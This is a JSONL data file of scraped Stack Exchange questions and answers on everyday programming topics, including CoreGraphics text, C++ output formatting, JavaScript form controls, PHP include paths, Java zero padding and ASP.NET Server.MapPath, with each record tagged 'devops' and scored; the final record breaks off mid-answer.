{"id": "hf_67d5673f00ff", "question": "<p>I want to display the \"infinity\" symbol using </p>\n\n<pre><code>CGContextSelectFont(context, \"HelveticaNeue\", textSize, kCGEncodingMacRoman);    \nCGContextShowTextAtPoint(context, myCenter.x, myCenter.y + textHeight, [sName     cStringUsingEncoding:NSMacOSRomanStringEncoding], [sName length]); \n</code></pre>\n\n<p>It is displayed as a square box, or a circle. I have found out this symbol is in decimal 176 and 221E in Hexadecimal format. I am using Helvetica as my font, and have tried others with no luck. Is this a problem with the encoding I am using?</p>\n", "question_body": "", "answer": "It turns out that CGContextSelectFont only supports MacRoman encoding, which is basically has only a small set of characters. In order to display Unicode characters in a string, you have to use CGSetFont or the Cocoa drawing system. CGSetFont requires that you use Cocoa anyway to map characters to glyphs and then draw the glyphs using CGContextShowGlyphsAtPoint. I recommend that you look into other ways to draw these strings if you really need to display Unicode characters.\nThis code basically will display the infinity symbol:\n```\n```\n- (void)drawRect:(CGRect)rect {\n    unichar inf = 0x221E; // infinity symbol\n    NSString* sName = [[NSString alloc] initWithCharacters:&inf length:1];\n    UIFont* font = [UIFont fontWithName:@\"Helvetica\" size:32.0];\n    [sName drawInRect:CGRectMake(20, 20, 40, 40)\n             withFont:font];\n    [sName release];\n}\n```\n```\nAlso note that on the iPhone (and on the Mac) Helvetica Neue actually does not exist... its name just maps back to standard Helvetica. See the table at\nhttp://daringfireball.net/misc/2007/07/iphone-osx-fonts\nfor more information on available fonts on the iPhone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.122819"}
{"id": "hf_f78b2d023bad", "question": "<p>What are the things that Medium Trust stops you from doing?  For example, I've already learned that Medium Trust stops you from using System.IO.Path.GetTempPath().   What other things like that?</p>\n", "question_body": "", "answer": "Who can be sure? That's why you should develop with a trust level of medium set in your web.config.\n```\n```\n<trust level=\"Full|High|Medium|Low|Minimal\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.166143"}
{"id": "hf_0319240009f4", "question": "<p>I can't seem to get a scrollbar to work in an inner stack/flow.  Does anyone know how to?</p>\n", "question_body": "", "answer": "I'm not sure what exactly you mean by \"an inner stack/flow\", but we use iframes for our subpane windows which has a scrolling attribute you can set. Otherwise you can use a javascript framework like YUI to get subpane windows that can allow scrolling capabilities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.187670"}
{"id": "hf_b0fa2a68aeb1", "question": "<p>I'm pretty sure this is a simple question in regards to formatting but here's what I want to accomplish:</p>\n\n<p>I want to output data onto the screen using <code>cout</code>.  I want to output this in the form of a table format.  What I mean by this is the columns and rows should be properly aligned.  Example:</p>\n\n<pre><code>Test                 1\nTest2                2\nIamlongverylongblah  2\nEtc                  1\n</code></pre>\n\n<p>I am only concerned with the individual line so my line to output now (not working) is</p>\n\n<p><code>cout &lt;&lt; var1 &lt;&lt; \"\\t\\t\" &lt;&lt; var2 &lt;&lt; endl;</code></p>\n\n<p>Which gives me something like:</p>\n\n<pre><code>Test                 1\nTest2                  2\nIamlongverylongblah         2\nEtc                  1\n</code></pre>\n", "question_body": "", "answer": "I advise using\nBoost Format\n. Use something like this:\n```\n```\ncout << format(\"%|1$30| %2%\") % var1 % var2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.283091"}
{"id": "hf_7c45a3390aef", "question": "<p>I'm using a RichTextBox in WinForms 3.5 and I found that when I programmatically edit the contained text, those changes are no longer available to the built in undo functionality.</p>\n\n<p>Is there a way to make it so these changes are available for undo/redo?</p>\n", "question_body": "", "answer": "Here's just some code I decided to mess around with:\n```\n```\nstring buffer = String.Empty;\n        string buffer2 = String.Empty;\n        public Form3()\n        {\n            InitializeComponent();\n            this.richTextBox1.KeyDown += new KeyEventHandler(richTextBox1_KeyDown);\n            this.richTextBox1.TextChanged += new EventHandler(richTextBox1_TextChanged);\n        }\n\n        void richTextBox1_TextChanged(object sender, EventArgs e)\n        {\n            buffer2 = buffer;\n            buffer = richTextBox1.Text;\n        }\n\n        void richTextBox1_KeyDown(object sender, KeyEventArgs e)\n        {\n            if (e.Control && e.KeyCode == Keys.Z)\n            {\n                this.richTextBox1.Text = buffer2;\n            }\n        }\n\n        private void button1_Click(object sender, EventArgs e)\n        {\n            richTextBox1.Text = \"Changed\";\n        }\n```\n```\nIt's basically me writing my own Undo feature. All I'm doing is storing the old value in one buffer variable, and the new value in a second buffer variable. Every time the text changes, these values get update. Then, if the user hits \"CTRL-Z\" it replaces the text with the old value. Hack? A little. But, it works for the most part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.331775"}
{"id": "hf_0c02b5990dd1", "question": "<p>Something is eluding me ... it seems obvious, but I can't quite figure it out.</p>\n\n<p>I want to add/remove a couple of HTML controls to a page (plain old html) when a user changes value of a dropdown list.  An example is to add or remove a \"number of guests in this room\" textbox for each (of a number) of rooms requested ... </p>\n\n<p>So if a user selects:</p>\n\n<p>1 room, there is one text box</p>\n\n<p>2 rooms, there are two text boxes</p>\n\n<p>3 rooms, three text boxes </p>\n\n<p>back to 2 rooms, two text boxes</p>\n\n<p>and so on ...</p>\n", "question_body": "", "answer": "for your select list of rooms, add an onchange event handler that will show/hide the text boses.\n```\n```\n<script>\n  //swap $ with applicable lib call (if avail)\n  function $(id){\n    return document.getElementById(id);\n  }\n  function adjustTexts(obj){\n    var roomTotal = 4;\n    var count = obj.selectedIndex;\n    //show/hide unrequired text boxes...\n    for(var i=0;i<roomTotal;i++){\n      if(i < count){\n        $('room'+ (i+1)).style.display = 'block';\n      } else {\n        $('room'+ (i+1)).style.display = 'none';\n      }\n    }\n  }\n</script>\n\n<select name=\"rooms\" onchange=\"adjustTexts(this);\">\n  <option>1</option>\n  <option>2</option>\n  <option>3</option>\n  <option>4</option>\n</select>\n\n<div id=\"room1\">\n  <label>Room 1</label>:<input type=\"text\" name=\"room1text\"/>\n</div>\n\n<div id=\"room2\" style=\"display:none;\">\n  <label>Room 2</label>:<input type=\"text\" name=\"room2text\"/>\n</div>\n\n<div id=\"room3\" style=\"display:none;\">\n  <label>Room 3</label>:<input type=\"text\" name=\"room3text\"/>\n</div>\n\n<div id=\"room4\" style=\"display:none;\">\n  <label>Room 4</label>:<input type=\"text\" name=\"room4text\"/>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.355257"}
{"id": "hf_fbe86ec3d8e0", "question": "<p>I am working on a form, which I would like to validation features like <a href=\"http://ui-patterns.com/pattern/InputFeedback\" rel=\"nofollow noreferrer\">This</a>. Should this all be done on clientside? or server side? I am aware of using some of MS ajax controld, however, at what point do I display the message at the top?</p>\n\n<p>I hope I explained myself.</p>\n", "question_body": "", "answer": "You\nshould\nvalidate at both ends.\nClient side to make sure feedback is immediate so users can complete it fast (a bonus for them) and you save server resources (bonus for you).\nServer side to make sure that any user-agents not using JS can check the incoming data. This is essential to stop malicious/corrupt data entering your system.\nIf you were only going to do one, make it server side, but there are considerable benefits to the user by implementing a dual-system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.379640"}
{"id": "hf_507b538031ea", "question": "<p>Where would the physical files be?</p>\n", "question_body": "", "answer": "It depends on the OS and whether or not roaming user profiles are enabled.\nFor example, on XP, with non-roaming profiles, the location is\n```\n```\n<SYSTEMDRIVE>\\Documents and Settings\\<user>\\Local Settings\\Application Data\\Microsoft\\IsolatedStorage\n```\n```\nOn Vista with roaming profile storage,\n```\n```\n<SYSTEMDRIVE>\\Users\\<user>\\AppData\\Roaming\\Microsoft\\IsolatedStorage\n```\n```\nSee an\nIntroduction to Isolated Storage\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.403072"}
{"id": "hf_0cccc064ee4e", "question": "<p>I know in a lot of asynchronous communication, the packet begins starts with a start bit.</p>\n\n<p>But a start bit is just a 1 or 0.  How do you differentiate a start bit from the end bit from the last packet?</p>\n\n<p>Ex.\nIf I choose my start bit to be 0 and my end bit to be 1.\nand I receive 0 (data stream A) 1 0 (data stream B) 1,\nwhat's there to stop me from assuming there is a data stream C which contains the same contents of \"(data stream A) 1 0 (data stream B)\" ?</p>\n\n<p>Isn't it more convenient to have a start BYTE and then check the data stream for that combination of bits? That will reduce the possibility of a confusing between the start/end bit.</p>\n", "question_body": "", "answer": "Great question!  Most asynchronous communication also specifies a\nstop\nbit, which is the complement of the start bit, ensuring each new symbol begins with a stop-to-start transition.\nExample:  let's transmit the characters\n```\nABC\n```\n, which are ASCII 65, 66, and 67:\n```\n```\nA = 65 = 0x41 = 0100 0001\nB = 66 = 0x42 = 0100 0010\nC = 67 = 0x43 = 0100 0011\n```\n```\nLet's also assume (arbitrarily) that the start bit is\n```\n0\n```\nand the stop bit is\n```\n1\n```\n, and the data is transmitted from MSB to LSB.  The transmitter will be in the stop (\n```\n1\n```\n) state when no data is transmitted.  So the receiver might see this:\n```\n```\nData:   ....1111 0010000011 111 0010000101 0010000111 11111....\n         (quiet) ^   A    $     ^    B   $ ^    C   $ (quiet)\n```\n```\nWith apologies for the ASCII graphics, the data consists of a series of stop (\n```\n1\n```\n) bits while the channel is idle.  When the transmitter is ready to send a character, it sends a start (\n```\n0\n```\n) bit (marked with\n```\n^\n```\n), followed by the character code, and ending with a stop (\n```\n1\n```\n) bit (marked with\n```\n$\n```\n).  It continues to send stop bits until the next character is transmitted, beginning with another start bit.\nThe reason we use start\nbits\ninstead of\nbytes\nis efficiency.  The scheme above requires 10 bits (1\nstart\n+ 8\ndata\n+ 1\nstop\n) to transmit 8 bits of data, resulting in an\noverhead\nof (10 - 8) / 8 = 1/4 = 25%.  If we used start and stop\nbytes\n, we'd need to transmit 3 bytes for each byte of data, which would be an overhead of (3 - 1)/1 = 2 = 200%.  If the start, data, and stop bytes were each 8 bits, we'd have to transmit 24 bits instead of 10 for each character, so it would take almost 2 1/2 times as long to send the data!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.461796"}
{"id": "hf_d4d8c3617523", "question": "<p>I know how to include files that are in folders further down the heirachy but I have trouble finding my way back up.\nI decided to go with the set_include_path to default all further includes relative to a path 2 levels up but don't have the slightest clue how to write it out.</p>\n\n<p>Is there a guide somewhere that details path referencing for PHP?</p>\n", "question_body": "", "answer": "it's probably easier to just use an absolute path to reference:\n```\n```\nset_include_path('/path/to/files');\n```\n```\nthis way you have a reference point for all your future includes. includes are handled relative to the point they were called, which can cause a bit of confusion in certain scenarios.\nas an example, given a sample folder structure (\n```\n/home/files\n```\n):\n```\n```\nindex.php\ntest/\n  test.php\ntest2/\n  test2.php\n\n// /home/files/index.php\ninclude('test/test.php');\n\n// /home/files/test/test.php\ninclude('../test2/test2.php');\n```\n```\nif you call index.php, it will try to include the following files:\n```\n```\n/home/files/test/test.php // expected\n/home/test2/test2.php // maybe not expected\n```\n```\nwhich may not be what you expect. calling test.php will call\n```\n/home/files/test2/test.php\n```\nas expected.\nthe conclusion being, the includes will be relative to the original calling point. to clarify, this affects\n```\nset_include_path()\n```\nif it is relative as well. consider the following (using the same directory structure):\n```\n```\n<?php\n// location: /home/files/index.php\n   set_include_path('../'); // our include path is now /home/\n\n   include('files/test/test.php'); // try to include /home/files/test/test.php\n   include('test2/test2.php'); // try to include /home/test2/test2.php\n   include('../test3.php'); // try to include /test3.php\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.513056"}
{"id": "hf_35aa5517f6e0", "question": "<p>What is the difference between a <strong>Snapshot</strong> Repository and <strong>Release</strong> Repository?</p>\n\n<p>This is with reference to setting up Repositories (like Artifactory, Nexus etc)</p>\n", "question_body": "", "answer": "Release repositories hold releases and Snapshot repositories hold snapshots. In maven a snapshot is defined as an artifact with a version ending in -SNAPSHOT. When deployed, the snapshot is turned into a timestamp. By definition, snapshots are mutable, releases are immutable. This is why Nexus makes you store them separately because usually you don't care if you lose snapshots, but you will care if you lose releases. It makes snapshot cleanup much easier to deal with that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.537985"}
{"id": "hf_31c698dc7dd4", "question": "<p>I'm starting a web project that likely should be fine with SQLite.  I have SQLObject on top of it, but thinking long term here -- if this project should require a more robust (e.g. able to handle high traffic), I will need to have a transition plan ready.  My questions:</p>\n\n<ol>\n<li>How easy is it to transition from one DB (SQLite) to another (MySQL or Firebird or PostGre) under SQLObject?  </li>\n<li>Does SQLObject provide any tools to make such a transition easier?  Is it simply take the objects I've defined and call createTable?  </li>\n<li>What about having multiple SQLite databases instead?  E.g. one per visitor group?  Does SQLObject provide a mechanism for handling this scenario and if so, what is the mechanism to use?</li>\n</ol>\n\n<p>Thanks,\nSean</p>\n", "question_body": "", "answer": "I'm not sure I understand the question.\nThe\nSQLObject documentation\nlists six kinds of connections available.  Further, the database connection (or scheme) is specified in a connection string.  Changing database connections from SQLite to MySQL is trivial.  Just change the connection string.\nThe\ndocumentation\nlists the different kinds of schemes that are supported.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.610087"}
{"id": "hf_0ae9ca7ff269", "question": "<p>If I have a char which holds a hex value such has 0x53, (S), how can I display this as \"S\"?</p>\n\n<p>Code:</p>\n\n<pre><code>char test = 0x53;\ncout &lt;&lt; test &lt;&lt; endl;\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There's no such thing as a variable that stores a hex value, or a decimal or octal value. Hex, octal, and decimal are just different ways of representing numbers to the compiler. The compiled code will represent everything in binary.\nThese statements all have the\nexact\nsame effect (assuming the charset is ASCII):\n```\n```\ntest = 0x53; // hex\ntest = 'S';  // literal constant\ntest = 83;   // decimal\ntest = 0123; // octal\n```\n```\nSo print the character the same way you would with any character, no matter how you assign it a value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.633968"}
{"id": "hf_ec3fce004a8e", "question": "<p>While developing products, we often need to create proprietary tools to test some of their unique features or diagnose problems.  In fact the tools can be at lest as interesting as the products themselves, and some of our internal groups have asked for copies of them.</p>\n\n<p>So, aside from the obvious business-driven rules (<em>e.g.</em> don't retrieve sensitive data), <strong>what do you differently when you build personal or internal tools, as opposed to for-sale products, and why?</strong></p>\n\n<p>What's more (or less) important to you in internal tools, and do you consider overall value to the company when you build them?</p>\n\n<p>Thanks for your thoughts!</p>\n", "question_body": "", "answer": "From an engineering perspective, I wouldn't do anything differently:\nBoth internal and for-sale tools need to be well-written and well-documented\nBoth need to be created given a set of requirements, deadlines, budgetary restraints, etc.\nBoth need to be tested or validated\nThe one big difference I see would apply to the for-sale products as opposed to the internal tools:\nfor-sale products need marketing, support, etc\nthat internal tools can do without.\nAdditionally, since internal tools will be used in a somewhat more controlled environment, they don't need to be tested against different computer systems, Internet browsers, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.680532"}
{"id": "hf_b0c8fd91525c", "question": "<p>I'm trying to automate some stuff in MS Excel. When I try to set the Calculation property I get the following error message: 'Unable to set the Calculation property of the Application class'</p>\n\n<p>I believe this property should be settable.</p>\n\n<p>Any advice appreciated!</p>\n", "question_body": "", "answer": "Make sure you are setting it to a proper value.\n```\n```\nApplication.Calculation = xlCalculationManual\n```\n```\nor one of the following values:\nxlCalculationAutomatic: Excel controls recalculation.\nxlCalculationManual: Calculation is done when the user requests it.\nxlCalculationSemiautomatic: Excel controls recalculation but ignores changes in tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.727360"}
{"id": "hf_143f0c6fdfdc", "question": "<p>Using <a href=\"http://imdbpy.sourceforge.net\" rel=\"noreferrer\">IMDbPy</a> it is painfully easy to access movies from the IMDB site:</p>\n\n<pre><code>import imdb\n\naccess = imdb.IMDb()\nmovie = access.get_movie(3242) # random ID\n\nprint \"title: %s year: %s\" % (movie['title'], movie['year'])\n</code></pre>\n\n<p>However I see no way to get the picture or thumbnail of the movie cover. Suggestions?</p>\n", "question_body": "", "answer": "Note:\nNot every movie has a cover url. (The random ID in your example doesn't.)\nMake sure you're using an up-to-date version of IMDbPy. (IMDb changes, and IMDbPy with it.)\n...\n```\n```\nimport imdb\n\naccess = imdb.IMDb()\nmovie = access.get_movie(1132626)\n\nprint \"title: %s year: %s\" % (movie['title'], movie['year'])\nprint \"Cover url: %s\" % movie['cover url']\n```\n```\nIf for some reason you can't use the above, you can always use something like BeautifulSoup to get the cover url.\n```\n```\nfrom BeautifulSoup import BeautifulSoup\nimport imdb\n\naccess = imdb.IMDb()\nmovie = access.get_movie(1132626)\n\npage = urllib2.urlopen(access.get_imdbURL(movie))\nsoup = BeautifulSoup(page)\ncover_div = soup.find(attrs={\"class\" : \"photo\"})\ncover_url = (photo_div.find('img'))['src']\nprint \"Cover url: %s\" % cover_url\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.765176"}
{"id": "hf_564f68ef8bd2", "question": "<p>I'm playing around with CodeIgniter; hoping to convert some of my old, ugly PHP into a more maintainable framework. However, I've come across a rather frustrating roadblock - I can't seem to define methods in my views. Any time I try I get a completely blank page, and when I look in the debug log the processing seemed to stop after the view was loaded. Can I define methods within views? If not, why, and what workarounds would you suggest?</p>\n\n<p><strong>Note</strong>: The method has to do with formatting output strings.</p>\n", "question_body": "", "answer": "I'm not familiar with CodeIgnitor, but it could be including your templates multiple times. Try wrapping your function in a check:\n```\n```\nif (!function_exists('myfunc'))\n{\n    function myfunc() {}\n}\n```\n```\nCodeIgnitor is probably swallowing errors, so you could also try flushing buffers immediately before your function:\n```\n```\nwhile(ob_end_flush()){}\nerror_reporting(E_ALL);\nini_set('display_errors', 1);\n```\n```\nIn reality though, you should probably make your string formatting code a bit more general. Your template is not really a good place to start adding functions. You'll begin duplicating code, and it defeats the purpose of having templates at all. I'd suggest experimenting with CodeIgnitor's\nHelpers\nand\nPlugins", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.800745"}
{"id": "hf_a8adb98ee6a8", "question": "<p>Is there a better way of getting this result? This function fails if num has more digits than digits, and I feel like it should be in the library somewhere (like Integer.toString(x,\"%3d\") or something)</p>\n\n<pre><code>static String intToString(int num, int digits) {\n    StringBuffer s = new StringBuffer(digits);\n    int zeroes = digits - (int) (Math.log(num) / Math.log(10)) - 1; \n    for (int i = 0; i &lt; zeroes; i++) {\n        s.append(0);\n    }\n    return s.append(num).toString();\n}\n</code></pre>\n", "question_body": "", "answer": "String.format (\nhttps://docs.oracle.com/javase/1.5.0/docs/api/java/util/Formatter.html#syntax\n)\nIn your case it will be:\n```\n```\nString formatted = String.format(\"%03d\", num);\n```\n```\n0 - to pad with zeros\n3 - to set width to 3", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.836453"}
{"id": "hf_70c99b7be6a1", "question": "<p>I have a textbox and a link button.\nWhen I write some text, select some of it and then click the link button, the selected text from textbox must be show with a message box.</p>\n<p>How can I do it?</p>\n<hr />\n<p>When I click the submit button for the textbox below, the message box must show <em>Lorem ipsum</em>. Because &quot;Lorem ipsum&quot; is selected in the area.</p>\n<hr />\n<p>If I select any text from the page and click the submit button it is working, but if I write a text to textbox and make it, it's not. Because when I click to another space, the selection of textbox is canceled.</p>\n<p>Now problem is that, when I select text from textbox and click any other control or space, the text, which is selected, must still be selected.</p>\n<p>How is it to be done?</p>\n", "question_body": "", "answer": "For Opera, Firefox and Safari, you can use the following function:\n```\n```\nfunction getTextFieldSelection(textField) {\n    return textField.value.substring(textField.selectionStart, textField.selectionEnd);\n}\n```\n```\nThen, you just pass a reference to a text field element (like a textarea or input element) to the function:\n```\n```\nalert(getTextFieldSelection(document.getElementsByTagName(\"textarea\")[0]));\n```\n```\nOr, if you want <textarea> and <input> to have a getSelection() function of their own:\n```\n```\nHTMLTextAreaElement.prototype.getSelection = HTMLInputElement.prototype.getSelection = function() {\n    var ss = this.selectionStart;\n    var se = this.selectionEnd;\n    if (typeof ss === \"number\" && typeof se === \"number\") {\n        return this.value.substring(this.selectionStart, this.selectionEnd);\n    }\n    return \"\";\n};\n```\n```\nThen, you'd just do:\n```\n```\nalert(document.getElementsByTagName(\"textarea\")[0].getSelection());\nalert(document.getElementsByTagName(\"input\")[0].getSelection());\n```\n```\nfor example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.909478"}
{"id": "hf_350f0c1a9e39", "question": "<p>I need to get the values in the registers with GCC.</p>\n\n<p>Something similar to this:</p>\n\n<pre>\nEAX=00000002  EBX=00000001  ECX=00000005  EDX=BFFC94C0\nESI=8184C544  EDI=00000000  EBP=0063FF78  ESP=0063FE3C\nCF=0  SF=0  ZF=0  OF=0\n</pre>\n\n<p>Getting the 32-bit registers is easy enough, but I'm not sure what the simplest way to get the flags is.</p>\n\n<p>In the examples for this book: <a href=\"http://kipirvine.com/asm/\" rel=\"nofollow noreferrer\">http://kipirvine.com/asm/</a></p>\n\n<p>They do it by getting the whole EFLAGS register and shifting for the bit in question. I also thought of doing it using Jcc's and CMOVcc's. </p>\n\n<p>Any other suggestions on how to do it? Some test cases to verify would also be useful.</p>\n", "question_body": "", "answer": "I think using Jcc's would be longer and not as clear using inline assembly.\nHere is what I currently have, using CMOVcc's:\n```\nvoid dump_regs()\n{\n  int eax = 0;\n  int ebx = 0;\n  int ecx = 0;\n  int edx = 0;\n\n  int esi = 0;\n  int edi = 0;\n  int ebp = 0;\n  int esp = 0;\n\n  int cf = 0;\n  int sf = 0;\n  int zf = 0;\n  int of = 0;\n\n  int set = 1; // -52(%ebp)\n\n  asm( \n    \"movl  %eax, -4(%ebp)\\n\\t\"\n    \"movl  %ebx, -8(%ebp)\\n\\t\"\n    \"movl  %ecx, -12(%ebp)\\n\\t\"\n    \"movl  %edx, -16(%ebp)\\n\\t\"\n    \"movl  %esi, -20(%ebp)\\n\\t\"\n    \"movl  %edi, -24(%ebp)\\n\\t\"\n    \"movl  %ebp, -28(%ebp)\\n\\t\"\n    \"movl  %esp, -32(%ebp)\\n\\t\"\n\n    \"movl  $0, %eax\\n\\t\"\n    \"cmovb -52(%ebp),%eax\\n\\t\" // mov if CF = 1\n    \"movl  %eax, -36(%ebp) \\n\\t\" // cf\n\n    \"movl  $0, %eax\\n\\t\"\n    \"cmovs -52(%ebp),%eax\\n\\t\" // mov if SF = 1\n    \"movl  %eax, -40(%ebp)\\n\\t\" // sf\n\n    \"movl  $0, %eax\\n\\t\"\n    \"cmove -52(%ebp),%eax\\n\\t\" // mov if ZF = 1\n    \"movl  %eax, -44(%ebp)\\n\\t\" // zf\n\n    \"movl  $0, %eax\\n\\t\"\n    \"cmovo -52(%ebp),%eax\\n\\t\" // mov if OF = 1\n    \"movl  %eax, -48(%ebp)\\n\\t\" // of\n\n    \"movl  -4(%ebp), %eax\\n\\t\" // restore EAX\n  );\n\n  printf(\"EAX = %#08x\\tEBX = %#08x\\tECX = %#08x\\tEDX = %#08x\\n\",eax,ebx,ecx,edx);\n  printf(\"ESI = %#08x\\tEDI = %#08x\\tEBP = %#08x\\tESP = %#08x\\n\",esi,edi,ebp,esp);\n  printf(\"CF = %d\\tSF = %d\\tZF = %d\\tOF = %d\\n\",cf,sf,zf,of);\n}\n```\nOne important thing I haven't worked out yet are side-effects, I want to be able to call this without disturbing the state, any tips in that direction are welcome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.937264"}
{"id": "hf_1348674f690e", "question": "<p>How can I draw something in JPanel that will stay the same and not be repainted, I am doing a traffic simulation program and I want the road to be drawn once because It will not change. \nThanks </p>\n", "question_body": "", "answer": "To my knowledge, no, unless there is a trick with transparent overlays.\nMost graphical applications I saw (and did) just re-draw the whole panel on each repaint. Now, you can do that once, in a graphic buffer, and then just paint the whole background at once, quickly, by copying the graphic buffer to the JPanel. It should be faster than calling all graphical primitives to draw the road.\nOr, the way some 2D games do, perhaps paint it once and update the moving parts, like sprites: it needs to erase the old place used by the sprites (restore the background there) and re-draw the sprites at the new place. So you still have a copy of the road in a graphic buffer but instead of re-drawing it whole each time, you update only some small parts. Can be slightly faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.961144"}
{"id": "hf_2b595d30f946", "question": "<p>Can anyone explain the difference between <code>Server.MapPath(\".\")</code>, <code>Server.MapPath(\"~\")</code>, <code>Server.MapPath(@\"\\\")</code> and <code>Server.MapPath(\"/\")</code>?</p>\n", "question_body": "", "answer": "Server.MapPath\nspecifies the relative or virtual path to map\nto a physical directory\n.\n```\nServer.MapPath(\".\")\n```\n1\nreturns the current physical directory of the file (e.g. aspx) being executed\n```\nServer.MapPath(\"..\")\n```\nreturns the parent directory\n```\nServer.MapPath(\"~\")\n```\nreturns the physical path to the root of the application\n```\nServer.MapPath(\"/\")\n```\nreturns the physical path to the root of the domain name (is not necessarily the same as the root of the application)\nAn example:\nLet's say you pointed a web site application (\n```\nhttp://www.example.com/\n```\n) to\n```\n```\nC:\\Inetpub\\wwwroot\n```\n```\nand installed your shop application (sub web as virtual directory in IIS, marked as application) in\n```\n```\nD:\\WebApps\\shop\n```\n```\nFor example, if you call\n```\nServer.MapPath()\n```\nin following request:\n```\n```\nhttp://www.example.com/shop/products/GetProduct.aspx?id=2342\n```\n```\nthen:\n```\nServer.MapPath(\".\")\n```\n1\nreturns\n```\nD:\\WebApps\\shop\\products\n```\n```\nServer.MapPath(\"..\")\n```\nreturns\n```\nD:\\WebApps\\shop\n```\n```\nServer.MapPath(\"~\")\n```\nreturns\n```\nD:\\WebApps\\shop\n```\n```\nServer.MapPath(\"/\")\n```\nreturns\n```\nC:\\Inetpub\\wwwroot\n```\n```\nServer.MapPath(\"/shop\")\n```\nreturns\n```\nD:\\WebApps\\shop\n```\nIf Path starts with either a forward slash (\n```\n/\n```\n) or backward slash (\n```\n\\\n```\n), the\n```\nMapPath()\n```\nreturns a path as if Path was a full, virtual path.\nIf Path doesn't start with a slash, the\n```\nMapPath()\n```\nreturns a path relative to the directory of the request being processed.\nNote: in 